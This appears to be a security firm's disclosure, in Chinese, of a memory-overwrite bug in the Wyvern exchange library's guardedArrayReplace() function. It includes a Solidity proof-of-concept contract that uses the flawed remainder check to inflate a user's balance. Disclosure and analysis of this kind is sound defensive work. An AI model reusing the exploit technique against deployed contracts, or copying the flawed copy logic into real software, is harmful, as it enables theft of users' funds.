引言
我们的漏洞检测系统在 Wyvern 库的最新实现中发现了一个内存覆盖漏洞。Wyvern 库属于 Wyvern 去中心化交易所协议,该协议曾被 OpenSea 使用。此漏洞可能导致 任意存储写入。
我们曾尝试联系该项目(例如,通过电子邮件和社交媒体),但尚未收到回复。鉴于 OpenSea 已迁移到 Seaport 协议,我们认为公开披露详细信息是安全的。此外,我们希望分享这些发现以吸引社区的关注,因为该漏洞本身有点棘手,而利用过程却相当有趣。
描述
易受攻击的代码可以在 官方代码仓库 的提交哈希 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 下找到。
具体来说,此漏洞存在于 ArrayUtils.sol 的 guardedArrayReplace() 函数中。顾名思义,此函数用于将一个动态大小的字节数组(即第二个参数 desired)选择性地复制到另一个字节数组(即第一个参数 array)。请注意,此函数实现为执行字级(即 0x20 字节)操作,因此代码逻辑可以根据除法计算结果分为两个步骤。
对于商数部分(即 _words = _ array.length / 0x20),从第 42 行到第 49 行的代码逻辑将逐字地将 desired 数组复制到目标数组。此步骤按预期工作,尽管第 39 行的 assert 语句由于整数算术而无效。

在上一阶段之后,如果除法产生余数,则意味着仍有一些字节未被正确复制。从第 52 行到第 66 行的代码逻辑旨在处理这些字节。不幸的是,**第 52 行的 if 语句错误地使用了商数(words,即 array.length / 0x20)而不是余数(array.length % 0x20)来执行检查。
严重性
此漏洞可能导致 任意存储写入。假设 array.length 可被 0x20 整除,则复制操作实际上是在循环逻辑中完成的。然而,在大多数情况下,该函数将 进入易受攻击的逻辑 并 尝试将 desired 数组之后的字复制到目标数组,这不可避免地导致 越界访问。更糟糕的是,不正确的逻辑可能被利用来将一个字覆盖到目标数组的末尾,这是一个未知的内存区域,可以用于任何目的。
如何利用此漏洞?
我们开发了一个 PoC 合约来演示潜在的攻击向量。PoC 合约有两个函数,第一个名为 test(),用于执行攻击,第二个只是易受攻击的 guardedArrayReplace() 函数。
具体来说,在 test() 函数中,我们首先定义了一些内存中的字节(a、b 和 mask)以及一个数组(即 _rewards)。此处定义的 _rewards 将用于计算用户的奖励。调用 guardedArrayReplace() 函数将 a 复制到 b 并使用 mask 后,_rewards_ 将添加到用户的余额中(即 balances[msg.sender])。
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
我们在 Remix 中演示了结果。值得注意的是,最初我们没有为 _rewards 和 balances 赋值。利用后,用户余额被设置为一个极大的值(如图中红色矩形所示)。

结论
尽管罕见,但智能合约中仍可能存在此类内存覆盖漏洞。开发人员需要注意操作内存的代码逻辑。
关于 BlockSec
BlockSec 是一家开创性的区块链安全公司,由一群杰出的全球安全专家于 2021 年创立。公司致力于为新兴的 Web3 世界增强安全性和可用性,以促进其大规模采用。为此,BlockSec 提供智能合约和 EVM 链安全审计服务、用于安全开发和主动阻止威胁的 Phalcon 平台、用于资金追踪和调查的 MetaSleuth 平台,以及供 Web3 构建者在加密世界高效冲浪的 MetaDock 扩展。
迄今为止,公司已为 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap 等 300 多家尊贵客户提供服务,并在两轮融资中从 Matrix Partners、Vitalbridge Capital 和 Fenbushi Capital 等知名投资机构获得了数千万美元的投资。
官方 Twitter 账号:https://twitter.com/BlockSecTeam



